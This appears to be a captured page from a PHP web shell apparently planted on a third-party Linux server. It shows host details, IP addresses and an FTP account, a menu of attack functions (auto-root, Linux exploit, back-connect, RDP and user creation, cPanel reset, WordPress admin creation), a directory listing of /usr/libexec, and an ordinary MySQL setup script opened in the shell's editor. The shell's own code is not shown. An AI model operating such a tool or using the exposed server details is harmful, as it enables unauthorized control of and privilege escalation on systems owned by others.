Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
[ HOME SHELL ]
Name
Size
Permission
Action
awk
[ DIR ]
drwxr-xr-x
coreutils
[ DIR ]
drwxr-xr-x
dbus-1
[ DIR ]
drwxr-xr-x
dovecot
[ DIR ]
drwxr-xr-x
gawk
[ DIR ]
drwxr-xr-x
gcc
[ DIR ]
drwxr-xr-x
getconf
[ DIR ]
drwxr-xr-x
grubby
[ DIR ]
drwxr-xr-x
hostname
[ DIR ]
drwxr-xr-x
initscripts
[ DIR ]
drwxr-xr-x
installkernel
[ DIR ]
drwxr-xr-x
linux-boot-probes
[ DIR ]
drwxr-xr-x
lsm.d
[ DIR ]
drwxr-xr-x
man-db
[ DIR ]
drwxr-xr-x
mecab
[ DIR ]
drwxr-xr-x
microcode_ctl
[ DIR ]
drwxr-xr-x
openldap
[ DIR ]
drwxr-xr-x
openssh
[ DIR ]
drwxr-xr-x
os-prober
[ DIR ]
drwxr-xr-x
os-probes
[ DIR ]
drwxr-xr-x
p11-kit
[ DIR ]
drwxr-xr-x
p7zip
[ DIR ]
drwxr-xr-x
pcp
[ DIR ]
drwxr-xr-x
postfix
[ DIR ]
drwxr-xr-x
proftpd
[ DIR ]
drwxr-xr-x
psacct
[ DIR ]
drwxr-xr-x
selinux
[ DIR ]
drwxr-xr-x
smartmontools
[ DIR ]
drwxr-xr-x
sssd
[ DIR ]
drwxr-xr-x
sudo
[ DIR ]
drwxr-xr-x
tuned
[ DIR ]
drwxr-xr-x
usermin
[ DIR ]
drwxr-xr-x
utempter
[ DIR ]
drwxr-xr-x
webmin
[ DIR ]
drwxr-xr-x
audit-functions
990
B
-rwxr-x---
chrony-helper
7.17
KB
-rwxr-xr-x
cockpit-askpass
45.4
KB
-rwxr-xr-x
cockpit-certificate-ensure
24.8
KB
-rwxr-xr-x
cockpit-certificate-helper
5.29
KB
-rwxr-xr-x
cockpit-client
12.26
KB
-rwxr-xr-x
cockpit-client.ui
4.13
KB
-rw-r--r--
cockpit-desktop
4.57
KB
-rwxr-xr-x
cockpit-session
57.16
KB
-rwsr-x---
cockpit-ssh
127.34
KB
-rwxr-xr-x
cockpit-tls
49.56
KB
-rwxr-xr-x
cockpit-ws
279.13
KB
-rwxr-xr-x
cockpit-wsinstance-factory
16.49
KB
-rwxr-xr-x
dirmngr_ldap
87.32
KB
-rwxr-xr-x
ebtables
1.33
KB
-rwxr-xr-x
generate-rndc-key.sh
546
B
-rwxr-xr-x
glib-pacrunner
21.66
KB
-rwxr-xr-x
gpg-check-pattern
111.88
KB
-rwxr-xr-x
gpg-preset-passphrase
87.21
KB
-rwxr-xr-x
gpg-protect-tool
206.3
KB
-rwxr-xr-x
gpg-wks-client
227.22
KB
-rwxr-xr-x
grepconf.sh
253
B
-rwxr-xr-x
httpd-ssl-gencerts
1.22
KB
-rwxr-xr-x
httpd-ssl-pass-dialog
92
B
-rwxr-xr-x
import-state
1.03
KB
-rwxr-xr-x
loadmodules
233
B
-rwxr-xr-x
mlocate-run-updatedb
138
B
-rwxr-x---
mlx4-setup.sh
2.48
KB
-rwxr-xr-x
mysql-check-socket
1.4
KB
-rwxr-xr-x
mysql-check-upgrade
1.53
KB
-rwxr-xr-x
mysql-prepare-db-dir
3.42
KB
-rwxr-xr-x
mysql-scripts-common
2.51
KB
-rw-r--r--
mysql-wait-stop
709
B
-rwxr-xr-x
mysqld
62.52
MB
-rwxr-xr-x
nm-daemon-helper
12.59
KB
-rwxr-xr-x
nm-dhcp-helper
16.2
KB
-rwxr-xr-x
nm-dispatcher
66.13
KB
-rwxr-xr-x
nm-ifdown
1.07
KB
-rwxr-xr-x
nm-ifup
1.04
KB
-rwxr-xr-x
nm-initrd-generator
740.38
KB
-rwxr-xr-x
no-python
157
B
-rwxr-xr-x
packagekit-direct
105.7
KB
-rwxr-xr-x
packagekitd
316.57
KB
-rwxr-xr-x
pk-offline-update
33.13
KB
-rwxr-xr-x
platform-python
11.59
KB
-rwxr-xr-x
platform-python3.6
11.59
KB
-rwxr-xr-x
platform-python3.6m
11.59
KB
-rwxr-xr-x
scdaemon
442.36
KB
-rwxr-xr-x
tcawmgr.cgi
25.1
KB
-rwxr-xr-x
truescale-serdes.cmds
8.5
KB
-rwxr-xr-x
vdoprepareforlvm
540.58
KB
-rwxr-xr-x
virt-what-cpuid-helper
7.84
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mysql-prepare-db-dir
#!/bin/sh # This script creates the mysql data directory during first service start. # In subsequent starts, it does nothing much. # # This script is meant to be run as non-root user either during initscript # or systemd service execution, before starting the mysqld daemon. # Running it as root may have some security risks, because it touches files # that can be symlinks pointing to unexpected locations. # # On the other hand, when using non-standard locations for datadir and logfile, # this script might not be able to create the files and the daemon won't start # properly. A solution for that is to created the locations for datadir and # logfile with correct ownership before starting the daemon. source "`dirname ${BASH_SOURCE[0]}`/mysql-scripts-common" # If two args given first is user, second is group # otherwise the arg is the systemd service file if [ "$#" -eq 2 ] then myuser="$1" mygroup="$2" else # Absorb configuration settings from the specified systemd service file, # or the default service if not specified SERVICE_NAME="$1" if [ x"$SERVICE_NAME" = x ] then SERVICE_NAME=mysqld.service fi myuser=`systemctl show -p User "${SERVICE_NAME}" | sed 's/^User=//'` if [ x"$myuser" = x ] then myuser=mysql fi mygroup=`systemctl show -p Group "${SERVICE_NAME}" | sed 's/^Group=//'` if [ x"$mygroup" = x ] then mygroup=mysql fi fi # Set up the errlogfile with appropriate permissions if [ ! -e "$errlogfile" -a ! -h "$errlogfile" -a x$(dirname "$errlogfile") = "x/var/log" ]; then case $(basename "$errlogfile") in mysql*.log|mariadb*.log) install /dev/null -m0640 -o$myuser -g$mygroup "$errlogfile" ;; *) ;; esac else # Provide some advice if the log file cannot be created by this script errlogdir=$(dirname "$errlogfile") if ! [ -d "$errlogdir" ] ; then echo "The directory $errlogdir does not exist." exit 1 elif [ -e "$errlogfile" -a ! -w "$errlogfile" ] ; then echo "The log file $errlogfile cannot be written, please, fix its permissions." echo "The daemon will be run under $myuser:$mygroup" exit 1 fi fi export LC_ALL=C # Returns content of the specified directory # If listing files fails, fake-file is returned so which means # we'll behave like there was some data initialized # Some files or directories are fine to be there, so those are # explicitly removed from the listing # @param <dir> datadir list_datadir () { ( ls -1A "$1" 2>/dev/null || echo "fake-file" ) | grep -v \ -e '^lost+found$' \ -e '\.err$' \ -e '^\.bash_history$' } # Checks whether datadir should be initialized # @param <dir> datadir should_initialize () { test -z "$(list_datadir "$1")" } # Make the data directory if doesn't exist or empty if should_initialize "$datadir" ; then # Now create the database echo "Initializing MySQL database" /usr/libexec/mysqld --initialize-insecure --datadir="$datadir" --user="$myuser" ret=$? if [ $ret -ne 0 ] ; then echo "Initialization of MySQL database failed." >&2 echo "Perhaps /etc/my.cnf is misconfigured." >&2 # Clean up any partially-created database files if [ ! -e "$datadir/mysql/user.frm" ] ; then rm -rf "$datadir"/* fi exit $ret fi # upgrade does not need to be run on a fresh datadir echo "8.0.30" >"$datadir/mysql_upgrade_info" fi exit 0
Close